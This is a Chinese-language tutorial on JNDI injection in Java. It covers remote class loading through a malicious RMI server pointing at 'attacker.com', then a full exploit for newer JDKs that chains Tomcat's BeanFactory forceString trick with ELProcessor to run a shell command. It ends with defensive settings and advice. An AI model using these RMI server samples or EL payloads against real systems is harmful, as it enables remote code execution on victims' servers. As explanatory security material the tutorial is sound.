Exploiting JNDI Injections in Java
字数 1464 2025-08-27 12:33:54
JNDI注入漏洞深入分析与利用
1. JNDI基础概念
Java Naming and Directory Interface (JNDI)是Java提供的一种API,用于通过名称来发现和查找数据和对象。这些对象可以存储在不同的命名或目录服务中,包括:
- RMI (远程方法调用)
- LDAP (轻量级目录访问协议)
- CORBA (公共对象请求代理体系结构)
- DNS (域名服务)
JNDI的核心API非常简单,如InitialContext.lookup(String name),它接受一个字符串参数来查找对象。
2. JNDI注入漏洞原理
当应用程序使用用户可控的输入作为lookup()方法的参数时,攻击者可以控制JNDI查找的目标,从而可能引发远程代码执行。
漏洞利用的关键点:
- 攻击者控制
lookup()方法的name参数 - JNDI客户端会解析返回的Reference对象
- 如果返回的是
javax.naming.Reference实例,客户端会尝试加载指定的classFactory
3. JDK 1.8.0_191之前的利用方式
在Java 8u121及更早版本中,攻击者可以完全控制远程类加载:
- 搭建恶意RMI或LDAP服务器
- 服务器返回包含恶意Reference的响应
- Reference指定classFactory和classFactoryLocation
- 受害应用从攻击者控制的URL加载并执行恶意代码
示例恶意RMI服务器代码:
public class EvilRMIServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1097);
Reference ref = new javax.naming.Reference("ExportObject", "ExportObject", "http://attacker.com/");
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}
4. JDK 1.8.0_191+的利用方式
Oracle在Java 8u121(RMI)和8u191(LDAP)中增加了对远程类加载的限制,但仍有利用方法:
4.1 利用BeanFactory的反射机制
Apache Tomcat中的org.apache.naming.factory.BeanFactory类存在危险特性:
- 可以创建任意bean实例
- 可以为属性调用任意setter方法
- 通过
forceString属性可以重写setter方法名
关键代码分析:
// 设置forceString属性可以指定方法名
if (ra != null) {
value = (String) ra.getContent();
for (String param : value.split(",")) {
param = param.trim();
index = param.indexOf('=');
if (index >= 0) {
setterName = param.substring(index + 1).trim();
param = param.substring(0, index).trim();
} else {
setterName = "set" + param.substring(0, 1).toUpperCase() + param.substring(1);
}
forced.put(param, beanClass.getMethod(setterName, paramTypes));
}
}
4.2 结合ELProcessor实现RCE
利用javax.el.ELProcessor类的eval()方法可以执行EL表达式,实现命令执行:
public class ELProcessor {
public Object eval(String expression) {
return getValue(expression, Object.class);
}
}
恶意EL表达式示例:
"".getClass().forName("javax.script.ScriptEngineManager")
.newInstance().getEngineByName("JavaScript")
.eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','nslookup jndi.s.artsploit.com']).start()")
4.3 完整利用示例
恶意RMI服务器代码:
public class EvilRMIServerNew {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1097);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,
"org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x",
"\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
".newInstance().getEngineByName(\"JavaScript\")" +
".eval(\"new java.lang.ProcessBuilder['(java.lang.String[])']" +
"(['/bin/sh','-c','nslookup jndi.s.artsploit.com']).start()\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}
5. 利用条件与限制
- 目标应用必须包含
org.apache.naming.factory.BeanFactory类(来自Tomcat) - 目标应用必须包含EL处理器相关类
- 需要能够控制
InitialContext.lookup()的参数 - 高版本JDK(8u191+)仍有风险,但利用方式更复杂
6. 防御措施
- 输入验证:严格验证传递给
lookup()方法的参数 - 升级JDK:使用最新版本的JDK,至少8u191以上
- 安全配置:
- 设置
com.sun.jndi.rmi.object.trustURLCodebase=false - 设置
com.sun.jndi.ldap.object.trustURLCodebase=false
- 设置
- 代码审计:检查所有使用JNDI查找的代码,确保参数可控
- 沙箱限制:在安全沙箱中运行可能处理不可信输入的Java应用
7. 总结
JNDI注入漏洞是一种严重的Java安全风险,即使在打了补丁的高版本JDK中,通过巧妙的利用方式仍可能实现远程代码执行。防御这类攻击需要综合应用输入验证、安全配置和代码审计等多种措施。